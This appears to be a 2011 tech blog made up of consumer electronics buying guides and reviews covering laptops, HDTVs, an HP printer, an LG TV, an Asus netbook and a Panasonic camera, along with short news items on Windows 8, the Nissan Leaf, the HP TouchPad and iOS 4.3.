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Laptop buying guide

2011-07-14T15:18:00.000-07:00

Laptop buying guide

What kind of laptop is right for me?

While a laptop has become a ubiquitous accessory for modern life, the actual process of choosing the right model can take some serious time and research.

In this guide, we'll outline the different categories of laptops and which types are best for different users. We'll also take a look at CPU, hard-drive, and networking options.

Below are a handful of typical user experiences that should help outline what type of laptop is right for you. Chances are, you'll fall somewhere in between two or more of these archetypes, so carefully consider what you'll be using your new laptop for.

The student
Students typically require low prices and portability above all. A laptop that can be carried from class to class is key, so many students turn to low-cost Netbooks, which are small, low-power systems that generally cost less than $500. The downside is that these have small screens and generally use underpowered single-core CPUs.

Another option is a 13-inch thin-and-light laptop, which is somewhat less portable, but makes for a better experience when sitting down to write papers and do research. These have dual-core CPUs and often include optical drives. Apple's 13-inch MacBook is a prime example.

What to look for: At least 1GB of RAM; 160GB or larger HDD; 13-inch or smaller display.

The business traveler
Those who work on the road require a robust computing experience, a sturdy, rugged system to safeguard data, and often, access to security and management tools to satisfy the requirements of their IT departments.

Lenovo's ThinkPad and Dell's Latitude are two popular examples of laptop lines made with the business traveler in mind. Both brands offer security features such as Intel's vPro platform and TPM chips, internal software and hardware components that work alongside your operating system.

What to look for: 2GB to 4GB of RAM; 160GB or larger HDD; 12- to 15-inch display; Windows Vista Professional or Windows 7 Professional; mobile broadband modem.

The photographer and/or videographer
Video game players aren't the only ones who need powerful processors, discrete graphics, and massive, fast hard drives. Those who work with high-definition video or high-resolution photographs are among the most demanding of laptop power users.

Apple's 15- and 17-inch MacBook Pro laptops are among the most popular for these purposes. This is especially true as Final Cut, the widely used video-editing software, is only available for Macs (Adobe's Photoshop, however, is cross-platform).

Either a 17- or a 15-inch screen that runs at a high native resolution is suggested. You should also look for plenty of RAM--up to 8GB is ideal--and a large 500GB hard drive that runs at the faster 7,200rpm speed (typical drives run at 5,400rpm).

What to look for: 4GB-8GB of RAM; 320GB or larger 7,200rpm HDD; 17-inch or larger display.

The gamer
While a bit of an endangered species these days, PC gamers are among the most fervent user groups. Most serious PC gamers will naturally gravitate toward desktop computers, with their flexible upgradeability, faster components, and better cooling. But gaming laptops have made great strides in recent years.

Intel's Core 2 Quad and Core i7 CPUs are recommended for 3D gaming, as is a top-of-the-line discrete GPU, such as Nvidia's GeForce N260. High-end brands such as Alienware offer flashy, expensive laptops that can be customized with the latest components, while Gateway's P-series is a good example of a budget-minded 17-inch gaming laptop, with slightly older parts, but excellent overall value.

What to look for: 4GB to 8GB of RAM; 320GB or larger 7,200rpm HDD; 17-inch or larger display; discrete graphics GPU.

The home user
Anyone who does not fall into one of the above categories is likely to fit in here. From parents and children gathered around the laptop at homework time to watching Hulu videos in bed, these are systems that typically stay anchored to one desk, den, or kitchen--perhaps taking the occasional road trip or moving around from room to room.

The traditional 15-inch laptop is still the most popular size, although 14- and 16-inch versions are becoming more common. Every PC maker makes standard mainstream laptops, and they generally have more similarities than differences.

For much less than $1,000, you can expect to find an Intel Core 2 Duo CPU, 2GB of RAM, a 250GB or larger hard drive, and a DVD burner. Usually the most configurable of laptops, you can add extras, including a Blu-ray drive or discrete graphics, to many mainstream models.

What to look for: 2GB to 4GB of RAM; 250GB or larger HDD; 14- to 16-inch display; DVD burning optical drive

HP Photosmart e-All-in-One Printer - D110a

2011-06-20T11:09:00.000-07:00

The good: The HP Photosmart e-All-in-One D110a's interactive touch screen adds Web connectivity to the standard print, copy, and scan functions, at a lower price than other HP ePrint-connected devices.

The bad: Print speeds are languid and the smaller paper input capacity makes it a hassle to refill for bigger households. You also must have a wireless connection to use the D110 to its fullest potential.

The bottom line: We wouldn't recommend it for high-output households or large offices, but the HP Photosmart D110a provides inexpensive access to HP's clever new ePrint and Web-connected apps.

The HP Photosmart e-All-in-One D110a wireless printer reaches beyond the standard print, copy, and fax functions of the typical multifunction output device to add ePrintCenter, Hewlett-Packard's ePrint remote printing service that gives access to downloadable content. Priced at $100, the D110a is a less fancy version of the HP Envy 100 with the same two-ink cartridge bay and a smaller 2.4-inch LCD touch screen. Although we're disappointed by its print speeds and other mechanical missteps, the HP Photosmart D110a is an affordable printer with useful Web-connectivity features for families, travelers, and business professionals.

Design and features

At 17.4 inches wide, 15.9 inches deep, and just 7.1 inches tall, the HP Photosmart D110a takes up so little real estate on your desktop that others might mistake it for a single-function inkjet. In fact, the printer has a copier and a flatbed scanner that tucks neatly into the top of the unit, and the rest of the front panel is limited to a paper tray, a memory card reader, and a 2.3-inch color touch screen LCD on the left with virtual buttons surrounding it that control the typical menu functions.

In terms of general printing functionality, the D110a is limited in two ways that you should consider before buying it: first, the media reader just underneath the display can only read Secure Digital (SD) and MultiMediaCard (MMC) storage cards and there's no available USB port for direct camera connections. That means Sony Memory Stick and Compact Flash card users are forced to use a computer to transfer photos for printing.

Second, the D110a works best for low-output work stations, as the printer has an 80-sheet paper input tray and a maximum monthly output capacity (also called a "duty cycle") of 1,000 pages. If you know you'll be printing a high volume of documents, you'll find yourself wishing for competing printers like the Lexmark S405 that hold up to 135 sheets of paper and can print over 5,000 pages a month.

We also wish you could adjust the angle of the touch screen, which instead is fixed in place, but we'll let that slide. The home screen has a set of scrollable icons for your favorite applications as well as four shortcut buttons at the bottom to bring up controls for photo printing, copy, scan, and fax. You can drag your finger across the list of apps to select one, delete ones you don't use, or download any apps from the growing list in the ePrintCenter.

The touch screen works well enough, although entering router passwords and other lengthy content on the small screen will certainly test your patience, and we also found the touch screen less sensitive than we like; it's not as responsive as the Apple iPhone, for example, and the touch delay sometimes causes unintentional button presses, although it's not nearly as frustrating to use as the e-Print-enabled HP Photosmart Premium e-All-in-One C310a, which omits all hard-button controls in favor of a clumsy touch screen.

The back of the printer is equally spare, with only a USB connection on the left and a thin power cord on the right--there's no wired Ethernet port available. Instead, HP offers a USB port for a wired connection to a host computer, or you can alternatively connect wirelessly with the built-in 802.11b/g/n print server inside, making it necessary to use both the ePrint feature and HP's ePrintCenter app store.

HP ePrintCenter

HP requires the printer and the host computer to access the Internet on the same wireless router to take advantage of the ePrintCenter apps, so you get no wired Ethernet port option. You do get the option to install the printer via the USB port on the back, but you'll be limited to the printing functions.

The ePrintCenter is an online hub where you can view job history, change settings, add printers to your account, browse and install apps, and cancel print jobs. All of the extra applications are free and HP breaks them down into categories within the App Store: entertainment, home, kids, news/blogs, photo, and tickets. Each one promises to streamline the printing experience by offering shortcuts to your favorite coupons, news articles, weather reports, recipes, and so on. HP tells us that it plans to release a Software Development Kit (SDK) in the near future so that software engineers can design their own shortcut apps for the store.

Using the onscreen Wireless Setup Wizard, we were able to connect the printer through CNET's protected network and took off browsing in less than 10 minutes. The Get More button took us directly to the store, where you can rate each app and even add comments for other potential users to read. The apps have potential, but prepare to battle long load times that require you to navigate through several submenu layers.

For example, the Google Maps app is an intriguing idea that could save time, but the touch-screen delays and irritatingly small virtual keyboard kept us in hunt-and-peck purgatory for so long that we began longing for the convenience of a simple keyboard and mouse for navigation. Another example is the Fandango Ticket function: we thought the process would be as simple as using the kiosks offered in actual theaters, but searching for movies and show times in the correct theater is hard enough to do online without waiting for a tiny map and listing to show up on a 2.4-inch screen.

HP ePrint

The D110a works with any modern Windows or Mac computer, but with ePrint you can also print from mobile devices like tablets or smartphones that don't have a USB port to connect with a traditional printer. ePrint bypasses this issue by enabling you to send jobs directly to the printer using a unique e-mail address. With that address, you can print from virtually any device that can send out messages.

It's important to note your home networking situation prior to buying the D110a, as you absolutely need a wireless network to take advantage of ePrint and the multitude of apps available for download--remember, the D110a has no Ethernet port. The first part of the ePrint setup process is to connect the D110a to your wireless network using the printer's Wireless Set Up Wizard. Once you establish a wireless connection and establish a partnership with your home computer (note that the printer and computer must be use the same wireless router), you can enable Web Services through the printer's settings menu, at which point the D110a will print a document with the unique ePrint e-mail address that identifies your printer to HP and lets you begin downloading applications through the ePrintCenter.

What makes a good HDTV?

2011-06-20T11:08:00.000-07:00

(Credit: CNET)

A TV is a big purchase, and we all want to get the best TV for our dollar. But what makes an HDTV the best? If you spend more, are you guaranteed a better TV? With all the jargon, marketing, and hype, what performance and features matter the most?

Well, I'm glad you asked.

There are three main factors that determine how "good" a TV is. "Good" is clearly subjective in this case, which is why weighting the importance of the following factors is up to you.

Picture quality

When I sold TVs, I'd ask what people were looking for in their potential purchase. It was really just for my own amusement, because without fail people would say, "Good picture quality."

When pressed, though, most people couldn't elaborate on what constituted picture quality in their view.

(Credit: Geoffrey Morrison)

Contrast ratio
One of the most visible aspects of picture quality is contrast ratio. This is the difference between the darkest a TV can be and the brightest.

A high contrast ratio gives the image dimensionality, makes it "pop." Everyone wants high contrast, but as I explained in another article, it's hard to judge what TVs have a good contrast ratio.

Color
Personally, I'm a fan of accurate color. At first glance, this seems like a given, but many people prefer slightly oversaturated colors. In fact, most TVs when taken out of the box present oversaturated colors. What's important to me, in finding our dream TV, is the ability to adjust the colors. Most new TVs have modes in which you can choose between oversaturated and reasonably accurate color. Samsung LCDs often have very accurate color, as do TVs certified by THX (at least in their THX mode). Most newer Panasonic plasmas have accurate color as well. Thankfully, almost all modern televisions have adjustable color temperature, so this isn't the factor it once was.

Scaling/deinterlacing
More and more, the scaling or upconverting performance of a TV is becoming irrelevant. Most new televisions are sent a 1080i signal, either from a Blu-ray player or a cable/satellite box. So the TV's performance in this regard doesn't matter. Almost all TVs deinterlace correctly these days, so this isn't much of an issue either.

One might class overall light output, or how bright a TV is, under the heading of picture quality, but I disagree. Bright TVs are great, but it's easy for a relatively "dim" TV to have vastly better picture quality than an extremely bright TV. An easy example of this is Pioneer's old Kuro plasmas compared with many of the new LED LCD TVs. Side by side, a Kuro would be lucky if it could produce one-third of the light of an LED LCD. Subjectively, if the two TVs were judged on their own for picture quality, the Kuro would win easily.

Features

Most modern TVs do at least a decent job of creating an image. Some, of course, do a better job than others, but it's rare to find a "bad" television. (At least, from the name brands. If you're buying an LCD out of the back of a white van, your mileage may vary.)

So it's features that are the biggest differences between TVs.

Netflix and other streaming services
Netflix has gotten huge in the last year, and rightly so. Tons of streaming content, all for a low monthly fee. The question is, do you need Netflix streaming to come with your TV? If your Blu-ray player doesn't have streaming built in, then sure, get it in your new TV. Trust me, you'll love it.

If you don't have a Blu-ray player, well, you should get one. They're crazy cheap, and offer better scaling than most TVs. Even some of the cheapest models (under $100) have built-in streaming. So if you're going to get a Blu-ray player, don't worry about whether your TV does streaming or not.

(Credit: Geoffrey Morrison)

3D
3D is a huge push right now, mostly due to the premiums it's possible to charge at the theater and for 3D TVs. I'm pretty apathetic about the whole thing, but if you're into it, go for it. The most important thing to realize about 3D is that it is just a feature. You don't have to use it.

Most high-end models happen to have the ability to show 3D. Because they're high-end, they also typically look the best as well. Personally, looking for the "best" TV, I'd end up looking at 3D models, even though the 3D aspect is irrelevant to me, because of how well they show 2D.

Light and lighting: The TV vs. your room
Here's where light output comes in. In finding the best TV, it's best to ignore hype and marketing and just ask yourself how you'll use the TV. In a dark room, or at night, plasma offers the best picture quality. Plasma TVs aren't "dim," but in a brightly lit room, they're not going to look as good as one of the new LED LCDs, which often have prodigious light output. For daytime viewing LCDs still edge out plasmas, despite the anti-reflective and anti-glare coatings.

That said, a plasma is still plenty watchable during the day, and an LCD (with an adjustable backlight, anyway) will still work fine in a dark room or at night.

Price

Tally up what you've picked as important for your future TV. For me, I've focused on a TV with a decent contrast ratio, accurate (or adjustable) color, possibly streaming, possibly 3D, and probably a plasma, as I do most of my TV watching at night.

Finding a TV that matches all of your criteria is only half the battle, of course. The other half is the price. Price has a pretty direct relationship to the one thing we haven't talked about:

Size
Small TVs are cheap, big TVs are expensive. That much is generally true. There are plenty of guides that tell you what size TV you should get, but to be honest, I've yet to hear of anyone who actually follows them. Most people buy a TV in the 42-inch to 50-inch range because they think it looks right, and because it's affordable.

The truth is, you can go much bigger if you want. I sit 10 feet from a 102-inch screen, and it's epic. You don't need to go that big, but you can if you want to.

It's a tough call between a good TV that's big, and a great TV that's small. I'd generally err on the side of larger, but really this is something that's best judged on a case-by-case basis.

New Windows 8 build reveals virtual keyboard, SMS Read more:

2011-06-20T10:57:00.000-07:00

Windows 8's Start menu.

The latest build for Windows 8, known as Build 7989, has leaked onto the Web, reportedly revealing a batch of potential new features.

Windows has long offered a virtual keyboard. But with Windows 8 destined for tablets and other mobile devices, Microsoft has reportedly revamped the keyboard with a new look and feel. Unlike the current keyboard, which requires mouse clicks to operate, the new keyboard will offer touch friendly buttons along with a split keyboard option, according to WinRumors, which has posted a video demo of the new virtual keyboard.

The Win 8 keyboard will reportedly provide built-in support for emoticons and feedback sounds similar to those heard in Windows Phone, WinRumors added.

Also new to Windows 8, at least as found in the latest build, is some type of per-feature licensing, uncovered by a "Windows enthusiast" on Twitter who examined the code for the latest build, according to tech site Redmond Pie. Though the code didn't reveal the use for this feature, Redmond Pie speculates that this could let Microsoft offer all users a "barebones" version of Windows and then prompt them to purchase new features as needed.

Another new feature discovered by Redmond Pie in the 7989 build was support for Short Message Service (SMS). Used for mobile communications, SMS would give Windows 8-based tablets and other devices the ability to directly send text messages. Along with SMS, geo-location is yet one more feature in the latest Windows 8 build reported by Redmond Pie, which says this could be used to automatically detect a user's time zone.

Beyond the many updates and new features that users will see in Windows 8, developers are also facing a slew of changes in writing for the new operating system.

Some developers have reportedly been upset due to Microsoft's lack of clarity over which programming platforms would be supported by Windows 8. Programmers accustomed to using Visual Basic, .Net, and Silverlight have been confused over certain Microsoft comments that HTML5 and JavaScript would be the tools used to develop Windows 8 applications.

A Q&A published today between three Microsoft developers and Mary Jo Foley from CNET sister site ZDNet attempts to clarify some of the confusion over the new Windows 8 programming environment.

Microsoft demoed Windows 8 earlier this month at the D9 conference in California. Windows President Steven Sinofsky touted the upcoming OS as one that would be geared for desktops, laptops, and tablets.

LG LW5600 review: Passive 3D TV, but better with 2D

2011-06-20T10:56:00.001-07:00

LG's passive 3D-equipped LW5600 delivers solid 2D picture quality.

(Credit: Sarah Tew/CNET)

By now you may've heard all about passive 3D, how it might or might not be better than active, how LG/Vizio and Samsung/Sony/Panasonic are at each others' throats trying to convince buyers to choose one over the other, and how 3D TV is here to stay. That's all true, and documented exhaustively in our 3D TV FAQ, but in our experience few TV shoppers care about 3D in the least. If you're one of the few, then you'll want to know that overall we like the picture quality of active better than what we've seen of passive from the LG LW5600 series--although passive definitely has its advantages.

That said, we can forget about 3D and focus on what really matters: 2D picture quality, where the LW5600 is one of the best edge-lit LED TVs we've tested. The dimming backlight, despite its flaws, is an asset overall (and no, it's not available on less expensive, 2D-only 2011 LGs) along with best-in-class color. Perhaps most importantly, the LW5600 has a matte screen that performs better than glossy screens in bright rooms. We liked LG's Internet features and even its funky remote this year, although buyers seeking a style statement will be disappointed. The LG LW5600 costs more than most LED-based LCD TVs, but it offers the complete package and deserves consideration. from buyers in this price range regardless of how they feel about 3D.

The good: The LG 47LW5600 evinced excellent color in bright and dark areas, along with relatively deep black levels and even screen uniformity for an edge-lit LED-based LCD TV. Its matte screen works well in bright rooms. The Smart TV Internet portal is well-designed with a solid selection of streaming services, and the motion-sensitive remote provides a cool, easy-to-use secondary control option. Passive 3D on this TV has minimal crosstalk, is brighter than active, and LG includes four pairs of lightweight, nonpowered glasses.

The bad: This LG LED TV is relatively expensive. Its edge-lit local dimming LED scheme produces some artifacts and blooming; highlights were somewhat muted in dark scenes; and even from off-angle the picture loses contrast worse than most such TVs. The LW5600's Smart TV lacks Hulu Plus and Pandora, and its search is next to useless. Passive 3D shows a softer image with more artifacts and worse overall quality than active.

The bottom line: While passive 3D has its flaws, the LG LW5600's 2D picture quality is very good for an edge-lit LED-based LCD TV, especially in bright rooms.

Asus Eee PC 1215B

2011-06-20T10:49:00.000-07:00

The good: The Asus Eee PC 1215B gets a CPU upgrade, as well as excellent battery life and USB 3.0.

The bad: The long-standing Eee PC design is starting to look more than a little dated, and other comparable systems offer bigger or faster hard drives.

The bottom line: Asus updates the Eee PC line with AMD's excellent ultraportable CPU, making for a powerful, portable package, but the field is getting crowded in this category.

Review:

By ditching the long-in-the-tooth Intel Atom processor for the AMD E-350 Fusion platform, Asus graduates this 12.1-inch Eee PC from the flailing Netbook category to the more comfortable ultraportable one. At $449, which includes a USB 3.0 port, the Eee PC 1215B compared favorably with the 11.6-inch HP Pavilion dm1z, which looks nicer, but lacks USB 3.0 (but the HP also has a faster hard drive).

In a blackout? Nissan wants Leaf to power your house

2011-06-20T10:47:00.000-07:00

Nissan is developing technology to let the Leaf serve as a backup battery for homes.

(Credit: Josh Miller/CNET)

Everyone's looking for an edge in the electric vehicle wars, and Nissan might have one. It's working on a system that would allow Leaf owners to use the car to supply electricity to their houses during power outages.

Lots of people buy generators for that purpose, but Hideaki Watanabe, head of Nissan's Global Zero Emissions Business unit, says his EV could handle the job.

The Leaf's battery can store 24 kilowatt hours of electricity, equal to about a day's worth of energy use in a normal U.S. household.

"In case of blackouts we can utilize that," Watanabe said. "In Japan, some people say instead of installing a generator they'll just buy a Leaf. As of today we don't have a function to discharge, but we are looking into that."

Watanabe is pushing his engineers to look for ways to reverse the flow of energy.

"I want it ASAP--at least I would like to see some concrete proposal by the end of the year," he said. "I want a prototype."

Watanabe said Nissan could use the CHAdeMO DC fast-charging system backed by most Japan automakers because the technology can detect electricity leaks.

"It already has a very good safety device for when you discharge electricity from the car to the house," he said. "I'm not saying I'm going to use the CHAdeMO, but it has very high potential."

HP TouchPad available for preorder, starting at $499

2011-06-20T10:44:00.000-07:00

)A tablet with something a little different is officially available today. Hewlett-Packard is now taking preorders for its TouchPad with WebOS.

With the sometimes baffling assortment of Android tablets and the lackluster debut of RIM's PlayBook tablet, the TouchPad could be the last chance that Apple's competitors have to mount a serious challenge to the iPad's dominance anytime soon.

HP has taken its time polishing the TouchPad since first unveiling it months ago--a far cry from the PlayBook launch, which seemed rushed and left BlackBerry fans with a shiny new tablet sans many apps to run on it. The TouchPad and WebOS's selling points include multitasking by visually "stacking" apps for easy switching back and forth, support for Flash and HTML5, and some pretty cool syncing of text messages and more with WebOS smartphones.

HP also promotes a few features that could be great, but still give me pause, like a single view that blends all sorts of messaging, e-mail, and social networking accounts. The very notion gives me nightmarish flashbacks to countless reboots at the hands of Motorola's Blur feature on its Droid line of phones. But if HP does it right, it could be a solid asset. Using the same concept, HP is also pushing the idea that to do whatever you want on a TouchPad, just start typing without worrying about what app you're in and select where to direct the text later. It's a novel idea that will again depend on proper execution. But with a Bluetooth keyboard available separately for the TouchPad, you have the attention of my fingers, HP.

The Wi-Fi TouchPad has a 9.7-inch capacitive multitouch screen with a 1,024x768 display and a Qualcomm Snapdragon APQ8060 1.2GHz dual-CPU. The 16GB model is available to preorder for $499.99 and the 32GB version for $599.99. It can be reserved now through HP and the usual crop of retailers, including Best Buy, Wal-Mart, Radio Shack, Amazon.com, Office Depot and Costco. It's set to ship July 1.

iOS 4.3 hitting March 11

2011-03-02T14:51:00.000-08:00

(Credit: Sarah Tew/CNET)

We previewed iOS 4.3 back in January, and now the time has almost come: the latest version of Apple's iOS software will be available March 11.

What's new this time around? Well, not as much as iOS 4.2, but there are some notable upgrades--especially if you're an iPad owner.

New features in iOS 4.3 (photos)

Support for additional multifinger multitouch gestures and swipes adds four-finger fast-swapping between open apps and a one-handed way to flick the app dock up, instead of double-clicking the home button. In fact, you'll probably be using that lone physical button a whole lot less now.

There's also a new app, Photo Booth, that will add tools for taking and tweaking self portraits, similar to what exist already on Mac OS X. Obviously, this app's limited to the camera-equipped iPad 2.

Home Sharing will allow other PC or Mac iTunes libraries with Home Sharing turned on to be accessible on your iPad, locally streamed.

Wi-Fi hot-spot support will finally enable AT&T iPhones to share their wireless connection with other devices, much like the Verizon iPhone 4.

For Apple TV owners, there are some improvements to video streaming and AirPlay support. AirPlay will also support photo slideshows, as well as well video and audio streaming from third-party apps to other devices.

The built-in Safari browser should also see performance improvements running JavaScript, thanks to a new nitro JavaScript engine.

Other small changes include yet another font switch for Notes, extra notification beep settings, and--thank goodness--an ability to restore the use of the physical iPad's orientation lock switch, which has been co-opted to become a "silencer" switch since iOS 4.2.

Panasonic Lumix DMC-ZS10 (Black)

2011-03-02T14:46:00.000-08:00

The good: The Panasonic Lumix DMC-ZS10 has fast shooting performance and an extensive feature set.

The bad: The Panasonic Lumix DMC-ZS10 has a near-pointless touch screen; no raw capture option; noisy photos; and a short battery life.

The bottom line: The Panasonic Lumix DMC-ZS10 is a very good compact megazoom as long as you don't mind paying more for features and speedy performance than photo quality.

One of the few segments of point-and-shoots that's growing is megazooms, a category that Panasonic pretty much started. Now all manufacturers have them, though, so trying to stand out isn't easy. So for the Lumix DMC-ZS10, the update to 2010's ZS7, Panasonic did what most manufacturers do: made the lens wider and longer, kept the body size the same, and packed in a ton of features.

The basic specs include a 24mm-equivalent wide-angle lens with a 16x zoom (with nano coating to reduce ghosting and flare), a 3-inch, 460K-dot resolution touch-screen LCD, and a 14-megapixel MOS sensor. The sensor is the same type that's found in its top full-size megazoom, the FZ100, and it's paired with Panasonic's Venus Engine FHD processor. This combo allows for high-speed burst shooting--full resolution at 10 frames per second--and full HD movie capture in AVCHD format among other things.

For all its features, though, its photo quality is no better or worse than other recent high-end Panasonic point-and-shoots I've tested. Like those cameras, whether you'll like the photo quality from the ZS10 comes down to how you'll use the photos and how much cropping and enlarging you hope to do.

Key specs	Panasonic Lumix DMC-ZS10
Price (MSRP)	$399.95
Dimensions (WHD)	4.1 x 2.3 x 1.3 inches
Weight (with battery and media)	7.7 ounces
Megapixels, image sensor size, type	15 megapixels, 1/2.3-inch MOS (14 megapixels effective)
LCD size, resolution/viewfinder	3-inch touch-screen LCD, 460K dots/Electronic
Lens (zoom, aperture, focal length)	16x, f3.3-5.9, 24-384mm (35mm equivalent)
File format (still/video)	JPEG/AVCHD (.MTS); Motion JPEG (.MOV)
Highest resolution size (still/video)	4,320x3,240 pixels/ 1,920x1,080 at 60fps (interlaced; 17Mbps), 1,280x720 at 30fps (progressive; 17Mbps)
Image stabilization type	Optical and digital
Battery type, CIPA rated life	Li-ion rechargeable, 260 shots
Battery charged in camera	No; external charger supplied
Storage media	SD/SDHC/SDXC
Bundled software	PHOTOfunSTUDIO 6.1 HD Lite Edition (Windows); Super LoiLoScope trial version (Windows)

With plenty of light, the camera can turn out very good photos, if a little soft. When viewed at full size, there is noise present even at ISO 100. The higher the ISO, the more noise you'll see and the softer your photos get. Yellow blotching from noise is a particular problem with Panasonic's JPEG processing and it's present in varying degrees through its ISO range. It's most visible at ISO 1,600, which pretty much makes that ISO unusable. Panasonic seems to correct for the blotches at ISO 400, but in the process destroys fine detail and makes subjects look smeary. In the end, the ZS10 is best suited for outdoor use or indoors if brightly lit. Photos at or below ISO 200 can stand up to some cropping or larger prints, but low-light photos are best left for small prints and Web use. And unfortunately, with no option for raw capture, you're stuck with Panasonic's image processing.

Sample photos:
Panasonic Lumix DMC-ZS10

While there is little sign of pincushioning when the lens is extended, the wide end of the lens shows some barrel distortion. The lens has good center sharpness and is reasonably consistent edge to edge. Fringing in high-contrast areas can be a bit of an issue for the ZS10. Mainly, it's more than I'm used to seeing from a Panasonic camera, but still average for this class of camera.

Color and exposure is very good from the ZS10 up to ISO 400. Subjects appear natural, bright, and pretty accurate. Plus, there are a number of ways to tweak your color results. White-balance presets are good for the most part; however, the auto white balance is not good indoors. Unfortunately, you're stuck with that setting if you're using Intelligent Auto. Whenever possible, use the presets or take a manual reading, which is really easy to do.

Lastly, though the sensor is 15 megapixels, the camera only uses 14 megapixels, making it possible to have four aspect ratios--16:9, 3:2, 4:3, and 1.1--with the same angle of view across the entire zoom range of the lens.

As for movie quality, its AVCHD clips are sharp with good exposure and color and some of the smoothest motion I've seen from a point-and-shoot. Low-light recording suffers from the same noise problems as in photos. The zoom does operate while recording, but its movement is picked up by the stereo mic. If you are recording in a very quiet environment, you will hear it in your movies, but otherwise it's difficult to hear. The camera also has an option for continuous AF for movies, which performed very well, as did its wind noise filter. Also, the ZS10 can capture 3.5-megapixel photos while shooting video as well as extract single frames for photos when in Playback mode.

General shooting options	Panasonic Lumix DMC-ZS10
ISO sensitivity (full resolution)	Auto, 100, 200, 400, 800, 1,600
White balance	Auto, Daylight, Cloudy, Shade, Incandescent, Manual
Recording modes	Intelligent Auto, Program, Aperture Priority, Shutter Priority, Manual, Custom, MySCN 1 and 2, 3D, Custom, Movie
Focus modes	Face Detection AF, 1-point AF, 1-point AF (high speed), 23-point AF, Spot AF, AF Tracking, Touch AF
Macro	1.2 inches (Wide); 3.3 feet (Tele)
Metering modes	Multi, Center-weighted average, Spot
Color effects	Standard, Black & White, Sepia, Cool, Warm, Happy (only in iA mode)
Burst mode shot limit (full resolution)	15 shots

As Panasonic's highest-end compact megazoom, there is no shortage of shooting options. For automatic shooting there is the company's Intelligent Auto that combines an ever-growing number of technologies to get the best results. Overall, it works very well, but photos can end up appearing overprocessed when viewed at full size. There are 29 scene modes for those times when you want to get specific with your auto shooting or get creative and you can store two favorites to MySCN spots on the mode dial. For the most part they are the ones you'd find on any point-and-shoot, but there are a few artistic ones like High Dynamic and Pinhole as well as a Handheld Night Shot that takes 10 pictures in a row and then combines them into one to reduce motion blur and noise. The down side is that it only works if your subject is stationary. There is an Underwater mode as well, but you'll need a casing if you want to get it wet--the ZS10 is not waterproof in any way. Lastly, many of the scene modes are available for movies, too, giving you a little more freedom to experiment.

For those who like to take more control, the ZS10 does offer aperture-priority, shutter-priority, and manual shooting modes. Apertures are f3.3-6.3 wide and 5.9-6.3 telephoto. Shutter speeds go from 60 seconds to 1/4,000 second. To use them, you press the Exposure button on back, and change the settings with the directional pad. (A thumb dial would've been nice, but space is already pretty tight.) There is also a Custom spot on the mode dial for setting up three custom setting configurations. There's a Program mode, too, should you want to adjust things like ISO, white balance, and exposure compensation (not done with the Exposure button, mind you, but the directional pad), but not worry about shutter speed and aperture settings.

If you shoot a lot of moving subjects, namely children, pets, and sports, the ZS10's multiple burst shooting options give you a lot of flexibility and a fighting chance of getting a good photo. Its fastest burst modes--40 and 60 frames per second--are at reduced resolutions, but Panasonic packed in three at full resolution. There's one that captures up to 15 shots at 10fps, but that sets focus, exposure, and white balance with the first shot. What's better are the 2fps and 5fps options that set those things with each shot so you're able to get a subject moving moderately fast in focus and properly exposed. However, in our lab tests the 5fps setting averaged 3.2fps.

Other aspects of its shooting performance are excellent as well and significantly faster than its predecessor. Shutter lag is low at 0.4 second and 0.7 second in bright and dim lighting, respectively. From shot-to-shot without the flash you're waiting only 1.1 seconds; adding the flash drags that time to just 1.4 seconds. It's time from off to first shot is 1.9 seconds.

The high-speed shooting also gets you 3D photos. The ZS10 fires off 20 shots as you move the camera horizontally across a scene and then picks the two best for overlaying to create a 3D MPO file that can be played back on 3D-enabled TVs, computers, and photo frames. The results are good, but your subject has to be motionless as does everything in the scene. Any movement really kills the effect. It's a nice extra to play with, but not a must-have mode.

The ZS10's controls are well spaced and easy to use, but its touch screen is under used.

The appearance of the ZS10 doesn't change much from its predecessor, the ZS7. Its weight and size are approximately the same, remaining remarkably compact for its features and wide-angle lens with 16x zoom (that's wider and longer than its predecessor). Though it's a tight fit in a pants pocket, the ZS10 easily fits in an average jacket pocket or small handbag. The body--available in black, brown, silver, blue, and red versions--has a nice, solid feel to it with a comfortable grip on the right side.

The 3-inch touch screen on the back looks good and gets reasonably bright, though it gets reflective in direct sunlight, so you may struggle occasionally to see what you're shooting. Also, Panasonic didn't do much with the touch screen, only using it for a handful of functions. For example, you can use it to focus and shoot photos by tapping on your subject, but menu navigation is primarily done with the directional pad. In playback you can use it to flip through your shots, but you can't do any editing or drawing or writing on photos. It just seems that if you're going to be paying for a touch screen, you should get more use out of it.

One of the main attractions of the ZS10 is the built-in GPS. Using it is fairly simple, and the process has been streamlined from the ZS7 thanks to a dedicated spot in the menu system. Once you've turned on the receiver--it can be done from the Q.Menu or main menu--you can have the camera retrieve the information for your current location. In tests this took anywhere from less than a minute to several minutes depending on how much open sky was above me. Once locked, the ZS10 can display country, state, city, and landmark information and continues to update itself every minute. You can then go into the GPS Area Select menus and pick the correct information for your location. For example, if you're standing in the middle of New York, it could quite possibly have a couple pages of landmarks to pick from. Also, you can choose to limit what area information is attached, in case you only want the name of the city for instance. The area information covers 173 countries or regions for all over the world and more than half a million landmarks in 73 countries or regions.

For everyday shooting, attaching GPS information is probably not that exciting. But, if you do a lot of traveling, hiking, or other activity where you might want to remember where you were, then it's a great feature to have. Longitude and latitude is seamlessly added to the EXIF data and, again, you can have the camera include country, city, state, and landmarks.

There's an option to record AVCHD movies with GPS data as well. The location information can be viewed when videos are played back on a computer using the bundled software or directly from the camera. Unless you simply must have the information, you'll probably want to stick with the non-GPS AVCHD format option.

One last thing regarding the GPS: once you've turned it on, the receiver stays on until you turn it off, 2 hours have passed since it's refreshed its position, or after 3 hours of the camera being off. So even if you shut off the camera, it'll continue to update its location every 15 minutes. This is fine if you're shooting for an extended period of time, but it'll eventually run down your battery. If you want the GPS to turn off when you shut the camera off, you must select the Airplane mode option from the camera's menu. This is all explained in the manual, but battery life is something to keep in mind with features like GPS.

In fact, battery life with the ZS10 is an issue in general. With the GPS, touch screen, zoom, burst shooting, and HD movie capture there's a lot here to drain its small rechargeable battery. Even without all those things, the camera's battery life is pretty short. I strongly recommend picking up an extra battery if you're going to be traveling with the ZS10 or even just out for a day of shooting.

Conclusion
The cost of the Panasonic Lumix DMC-ZS10 goes primarily to its abundant feature set. That fortunately includes some very fast shooting performance and a nice zoom lens in a pocketable body. It's not unreasonable to expect excellent photos, too, for its price, but the fact is the ZS10 is still a point-and-shoot with a sensor no bigger than you'd find in a smaller, less feature-laden camera. If you're after awesome low-light photos or need to regularly make large prints, you probably shouldn't consider this camera. But if most of your photos are for sharing online and 8x10 prints or smaller, the ZS10 is a very good option. Especially if you want something that can double as a pocket video camera.

